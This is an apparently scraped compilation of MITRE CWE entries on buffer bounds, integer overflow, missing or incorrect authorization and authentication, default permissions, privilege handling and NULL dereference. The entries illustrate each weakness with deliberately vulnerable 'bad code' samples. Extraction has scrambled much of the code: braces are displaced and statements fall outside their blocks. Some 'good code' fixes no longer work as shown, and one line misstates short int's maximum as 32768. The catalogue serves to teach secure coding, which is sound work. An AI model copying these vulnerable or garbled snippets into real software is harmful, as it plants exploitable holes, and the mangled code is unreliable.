Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "Architectural Concepts" (CWE-1008)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Example 1 This code temporarily raises the program's privileges to allow creation of a new user folder. (bad code)
Example Language: Python
def makeNewUserDir(username):
While the program only raises its privilege level to create the folder and immediately lowers it again, if the call to os.mkdir() throws an exception, the call to lowerPrivileges() will not occur. As a result, the program is indefinitely operating in a raised privilege state, possibly allowing further exploitation to occur. Example 2 The following example demonstrates the weakness. (bad code)
Example Language: C
seteuid(0);
/* do some stuff */ seteuid(getuid()); Example 3 The following example demonstrates the weakness. (bad code)
Example Language: Java
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
// privileged code goes here, for example:
}System.loadLibrary("awt"); return null; // nothing to return Example 4 This code intends to allow only Administrators to print debug information about a system. (bad code)
Example Language: Java
public enum Roles {
ADMIN,USER,GUEST }public void printDebugInfo(User requestingUser){ if(isAuthenticated(requestingUser)){
switch(requestingUser.role){
case GUEST:
System.out.println("You are not authorized to perform this command");
break; default: System.out.println(currentDebugState());
break; else{ System.out.println("You must be logged in to perform this command"); }While the intention was to only allow Administrators to print the debug information, the code as written only excludes those with the role of "GUEST". Someone with the role of "ADMIN" or "USER" will be allowed access, which goes against the original intent. An attacker may be able to use this debug information to craft an attack on the system. Example 5 This code allows someone with the role of "ADMIN" or "OPERATOR" to reset a user's password. The role of "OPERATOR" is intended to have less privileges than an "ADMIN", but still be able to help users with small issues such as forgotten passwords. (bad code)
Example Language: Java
public enum Roles {
ADMIN,OPERATOR,USER,GUEST }public void resetPassword(User requestingUser, User user, String password ){ if(isAuthenticated(requestingUser)){
switch(requestingUser.role){
case GUEST:
System.out.println("You are not authorized to perform this command");
break; case USER: System.out.println("You are not authorized to perform this command");
break; default: setPassword(user,password); }break; else{ System.out.println("You must be logged in to perform this command"); }This code does not check the role of the user whose password is being reset. It is possible for an Operator to gain Admin privileges by resetting the password of an Admin account and taking control of that account.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Maintenance
CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom Filter
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Often Prevalent) C++ (Often Prevalent) Class: Assembly (Undetermined Prevalence) Example 1 This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer. (bad code)
Example Language: C
void host_lookup(char *user_supplied_addr){
struct hostent *hp;
in_addr_t *addr; char hostname[64]; in_addr_t inet_addr(const char *cp); /*routine that ensures user_supplied_addr is in the right format for conversion */ validate_addr_form(user_supplied_addr); addr = inet_addr(user_supplied_addr); hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET); strcpy(hostname, hp->h_name); This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker. Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476). Example 2 This example applies an encoding procedure to an input string and stores it into a buffer. (bad code)
Example Language: C
char * copy_input(char *user_supplied_string){
int i, dst_index;
char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE); if ( MAX_SIZE <= strlen(user_supplied_string) ){ die("user string too long, die evil hacker!"); }dst_index = 0; for ( i = 0; i < strlen(user_supplied_string); i++ ){ if( '&' == user_supplied_string[i] ){
dst_buf[dst_index++] = '&'; }dst_buf[dst_index++] = 'a'; dst_buf[dst_index++] = 'm'; dst_buf[dst_index++] = 'p'; dst_buf[dst_index++] = ';'; else if ('<' == user_supplied_string[i] ){
/* encode to < */
}else dst_buf[dst_index++] = user_supplied_string[i]; return dst_buf; The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands. Example 3 The following example asks a user for an offset into an array to select an item. (bad code)
Example Language: C
int main (int argc, char **argv) { char *items[] = {"boat", "car", "truck", "train"}; }int index = GetUntrustedOffset(); printf("You selected %s\n", items[index-1]); The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126). Example 4 In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method (bad code)
Example Language: C
int getValueFromArray(int *array, int len, int index) {
int value; // check that the array index is less than the maximum // length of the array if (index < len) {
// get the value at the specified index of the array
value = array[index]; // if array index is invalid then output error message // and return value indicating error else { printf("Value is: %d\n", array[index]); }value = -1; return value; However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below. (good code)
Example Language: C
... // check that the array index is within the correct // range of values for the array if (index >= 0 && index < len) { ... Example 5 Windows provides the _mbs family of functions to perform various operations on multibyte strings. When these functions are passed a malformed multibyte string, such as a string containing a valid leading byte followed by a single null byte, they can read or write past the end of the string buffer causing a buffer overflow. The following functions all pose a risk of buffer overflow: _mbsinc _mbsdec _mbsncat _mbsncpy _mbsnextc _mbsnset _mbsrev _mbsset _mbsstr _mbstok _mbccpy _mbslen
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Applicable Platform It is possible in any programming languages without memory management support to attempt an operation outside of the bounds of a memory buffer, but the consequences will vary widely depending on the language, platform, and chip architecture.
CWE-863: Incorrect Authorization
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom Filter
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "Architectural Concepts" (CWE-1008)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Technologies Web Server (Often Prevalent) Database Server (Often Prevalent) Example 1 The following code could be for a medical records application. It displays a record to already authenticated users, confirming the user's authorization using a value stored in a cookie. (bad code)
Example Language: PHP
$role = $_COOKIES['role'];
if (!$role) { $role = getRole('user'); }if ($role) { // save the cookie to send out in future responses }setcookie("role", $role, time()+60*60*2); else{ ShowLoginScreen(); }die("\n"); if ($role == 'Reader') { DisplayMedicalHistory($_POST['patient_ID']); }else{ die("You are not Authorized to view this record\n"); }The programmer expects that the cookie will only be set when getRole() succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie. However, the attacker can easily set the "role" cookie to the value "Reader". As a result, the $role variable is "Reader", and getRole() is never invoked. The attacker has bypassed the authorization system.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Terminology Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.
CWE-276: Incorrect Default Permissions
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterDuring installation, installed file permissions are set to allow anyone to modify those files.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "Architectural Concepts" (CWE-1008)
Relevant to the view "Hardware Design" (CWE-1194)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Technologies Class: Not Technology-Specific (Undetermined Prevalence) Class: ICS/OT (Undetermined Prevalence)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-190: Integer Overflow or Wraparound
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom Filter
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Example 1 The following image processing code allocates a table for images. (bad code)
Example Language: C
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs; ... num_imgs = get_num_imgs(); table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs); ... This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119). Example 2 The following code excerpt from OpenSSH 3.3 demonstrates a classic case of integer overflow: (bad code)
Example Language: C
nresp = packet_get_int();
if (nresp > 0) { response = xmalloc(nresp*sizeof(char*)); }for (i = 0; i < nresp; i++) response[i] = packet_get_string(NULL); If nresp has the value 1073741824 and sizeof(char*) has its typical value of 4, then the result of the operation nresp*sizeof(char*) overflows, and the argument to xmalloc() will be 0. Most malloc() implementations will happily allocate a 0-byte buffer, causing the subsequent loop iterations to overflow the heap buffer response. Example 3 Integer overflows can be complicated and difficult to detect. The following example is an attempt to show how an integer overflow may lead to undefined looping behavior: (bad code)
Example Language: C
short int bytesRec = 0;
char buf[SOMEBIGNUM]; while(bytesRec < MAXGET) { bytesRec += getFromInput(buf+bytesRec); }In the above case, it is entirely possible that bytesRec may overflow, continuously creating a lower number than MAXGET and also overwriting the first MAXGET-1 bytes of buf. Example 4 In this example the method determineFirstQuarterRevenue is used to determine the first quarter revenue for an accounting/business application. The method retrieves the monthly sales totals for the first three months of the year, calculates the first quarter sales totals from the monthly sales totals, calculates the first quarter revenue based on the first quarter sales, and finally saves the first quarter revenue results to the database. (bad code)
Example Language: C
#define JAN 1
#define FEB 2 #define MAR 3 short getMonthlySales(int month) {...} float calculateRevenueForQuarter(short quarterSold) {...} int determineFirstQuarterRevenue() { // Variable for sales revenue for the quarter float quarterRevenue = 0.0f; short JanSold = getMonthlySales(JAN); /* Get sales in January */ short FebSold = getMonthlySales(FEB); /* Get sales in February */ short MarSold = getMonthlySales(MAR); /* Get sales in March */ // Calculate quarterly total short quarterSold = JanSold + FebSold + MarSold; // Calculate the total revenue for the quarter quarterRevenue = calculateRevenueForQuarter(quarterSold); saveFirstQuarterRevenue(quarterRevenue); return 0; However, in this example the primitive type short int is used for both the monthly and the quarterly sales variables. In C the short int primitive type has a maximum value of 32768. This creates a potential integer overflow if the value for the three monthly sales adds up to more than the maximum value for the short int primitive type. An integer overflow can lead to data corruption, unexpected behavior, infinite loops and system crashes. To correct the situation the appropriate primitive type should be used, as in the example below, and/or provide some validation mechanism to ensure that the maximum value for the primitive type is not exceeded. (good code)
Example Language: C
...
float calculateRevenueForQuarter(long quarterSold) {...} int determineFirstQuarterRevenue() { ...
// Calculate quarterly total long quarterSold = JanSold + FebSold + MarSold; // Calculate the total revenue for the quarter quarterRevenue = calculateRevenueForQuarter(quarterSold); ... Note that an integer overflow could also occur if the quarterSold variable has a primitive type long but the method calculateRevenueForQuarter has a parameter of type short.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
Integer overflows can be primary to buffer overflows when they cause less memory to be allocated than expected.
Terminology "Integer overflow" is sometimes used to cover several types of errors, including signedness errors, or buffer overflows that involve manipulation of integer data types instead of characters. Part of the confusion results from the fact that 0xffffffff is -1 in a signed context. Other confusion also arises because of the role that integer overflows have in chains. A "wraparound" is a well-defined, standard behavior that follows specific rules for how to handle situations when the intended numeric value is too large or too small to be represented, as specified in standards such as C11. "Overflow" is sometimes conflated with "wraparound" but typically indicates a non-standard or undefined behavior. The "overflow" term is sometimes used to indicate cases where either the maximum or the minimum is exceeded, but others might only use "overflow" to indicate exceeding the maximum while using "underflow" for exceeding the minimum. Some people use "overflow" to mean any value outside the representable range - whether greater than the maximum, or less than the minimum - but CWE uses "underflow" for cases in which the intended result is less than the minimum. See [REF-1440] for additional explanation of the ambiguity of terminology. Other
While there may be circumstances in
which the logic intentionally relies on wrapping - such as
with modular arithmetic in timers or counters - it can
have security consequences if the wrap is unexpected.
This is especially the case if the integer overflow can be
triggered using user-supplied inputs.
CWE-306: Missing Authentication for Critical Function
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThis table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "Architectural Concepts" (CWE-1008)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Technologies Class: Cloud Computing (Undetermined Prevalence) Class: ICS/OT (Often Prevalent) Example 1 In the following Java example the method createBankAccount is used to create a BankAccount object for a bank management application. (bad code)
Example Language: Java
public BankAccount createBankAccount(String accountNumber, String accountType,
String accountName, String accountSSN, double balance) { BankAccount account = new BankAccount();
account.setAccountNumber(accountNumber); account.setAccountType(accountType); account.setAccountOwnerName(accountName); account.setAccountOwnerSSN(accountSSN); account.setBalance(balance); return account; However, there is no authentication mechanism to ensure that the user creating this bank account object has the authority to create new bank accounts. Some authentication mechanisms should be used to verify that the user has the authority to create bank account objects. The following Java code includes a boolean variable and method for authenticating a user. If the user has not been authenticated then the createBankAccount will not create the bank account object. (good code)
Example Language: Java
private boolean isUserAuthentic = false;
// authenticate user, // if user is authenticated then set variable to true // otherwise set variable to false public boolean authenticateUser(String username, String password) { ... }public BankAccount createNewBankAccount(String accountNumber, String accountType, String accountName, String accountSSN, double balance) { BankAccount account = null;
if (isUserAuthentic) { account = new BankAccount(); }account.setAccountNumber(accountNumber); account.setAccountType(accountType); account.setAccountOwnerName(accountName); account.setAccountOwnerSSN(accountSSN); account.setBalance(balance); return account; Example 2 In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications. Multiple vendors did not use any authentication for critical functionality in their OT products. Example 3 In 2021, a web site operated by PeopleGIS stored data of US municipalities in Amazon Web Service (AWS) Simple Storage Service (S3) buckets. (bad code)
Example Language: Other
A security researcher found 86 S3 buckets that could be accessed without authentication (CWE-306) and stored data unencrypted (CWE-312). These buckets exposed over 1000 GB of data and 1.6 million files including physical addresses, phone numbers, tax documents, pictures of driver's license IDs, etc. [REF-1296] [REF-1295]
While it was not publicly disclosed how the data was protected after discovery, multiple options could have been considered. (good code)
Example Language: Other
The sensitive information could have been protected by ensuring that the buckets did not have public read access, e.g., by enabling the s3-account-level-public-access-blocks-periodic rule to Block Public Access. In addition, the data could have been encrypted at rest using the appropriate S3 settings, e.g., by enabling server-side encryption using the s3-bucket-server-side-encryption-enabled setting. Other settings are available to further prevent bucket data from being leaked. [REF-1297]
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-862: Missing Authorization
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom Filter
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "Architectural Concepts" (CWE-1008)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Technologies Web Server (Often Prevalent) Database Server (Often Prevalent) Example 1 This function runs an arbitrary SQL query on a given database, returning the result of the query. (bad code)
Example Language: PHP
function runEmployeeQuery($dbName, $name){
mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName); }//Use a prepared statement to avoid CWE-89 $preparedStatement = $globalDbHandle->prepare('SELECT * FROM employees WHERE name = :name'); $preparedStatement->execute(array(':name' => $name)); return $preparedStatement->fetchAll(); /.../ $employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']); While this code is careful to avoid SQL Injection, the function does not confirm the user sending the query is authorized to do so. An attacker may be able to obtain sensitive employee information from the database. Example 2 The following program could be part of a bulletin board system that allows users to send private messages to each other. This program intends to authenticate the user before deciding whether a private message should be displayed. Assume that LookupMessageObject() ensures that the $id argument is numeric, constructs a filename based on that id, and reads the message details from that file. Also assume that the program stores all private messages for all users in the same directory. (bad code)
Example Language: Perl
sub DisplayPrivateMessage {
my($id) = @_; }my $Message = LookupMessageObject($id); print "From: " . encodeHTML($Message->{from}) . "<br>\n"; print "Subject: " . encodeHTML($Message->{subject}) . "\n"; print "<hr>\n"; print "Body: " . encodeHTML($Message->{body}) . "\n"; my $q = new CGI; # For purposes of this example, assume that CWE-309 and # CWE-523 do not apply. if (! AuthenticateUser($q->param('username'), $q->param('password'))) { ExitError("invalid username or password"); }my $id = $q->param('id'); DisplayPrivateMessage($id); While the program properly exits if authentication fails, it does not ensure that the message is addressed to the user. As a result, an authenticated attacker could provide any arbitrary identifier and read private messages that were intended for other users. One way to avoid this problem would be to ensure that the "to" field in the message object matches the username of the authenticated user.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Terminology
Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.
CWE-476: NULL Pointer Dereference
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom Filter
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Undetermined Prevalence) C++ (Undetermined Prevalence) Java (Undetermined Prevalence) C# (Undetermined Prevalence) Go (Undetermined Prevalence) Example 1 While there are no complete fixes aside from conscientious programming, the following steps will go a long way to ensure that NULL pointer dereferences do not occur. (good code)
if (pointer1 != NULL) {
/* make use of pointer1 */ /* ... */ When working with a multithreaded or otherwise asynchronous environment, ensure that proper locking APIs are used to lock before the if statement; and unlock when it has finished. Example 2 This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer. (bad code)
Example Language: C
void host_lookup(char *user_supplied_addr){
struct hostent *hp;
in_addr_t *addr; char hostname[64]; in_addr_t inet_addr(const char *cp); /*routine that ensures user_supplied_addr is in the right format for conversion */ validate_addr_form(user_supplied_addr); addr = inet_addr(user_supplied_addr); hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET); strcpy(hostname, hp->h_name); If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference (CWE-476) would then occur in the call to strcpy(). Note that this code is also vulnerable to a buffer overflow (CWE-119). Example 3 In the following code, the programmer assumes that the system always has a property named "cmd" defined. If an attacker can control the program's environment so that "cmd" is not defined, the program throws a NULL pointer exception when it attempts to call the trim() method. (bad code)
Example Language: Java
String cmd = System.getProperty("cmd");
cmd = cmd.trim(); Example 4 This Android application has registered to handle a URL when sent an intent: (bad code)
Example Language: Java
... IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL"); MyReceiver receiver = new MyReceiver(); registerReceiver(receiver, filter); ... public class UrlHandlerReceiver extends BroadcastReceiver { @Override
public void onReceive(Context context, Intent intent) { if("com.example.URLHandler.openURL".equals(intent.getAction())) {
String URL = intent.getStringExtra("URLToOpen");
int length = URL.length(); ... } The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called. Example 5 Consider the following example of a typical client server exchange. The HandleRequest function is intended to perform a request and use a defer to close the connection whenever the function returns. (bad code)
Example Language: Go
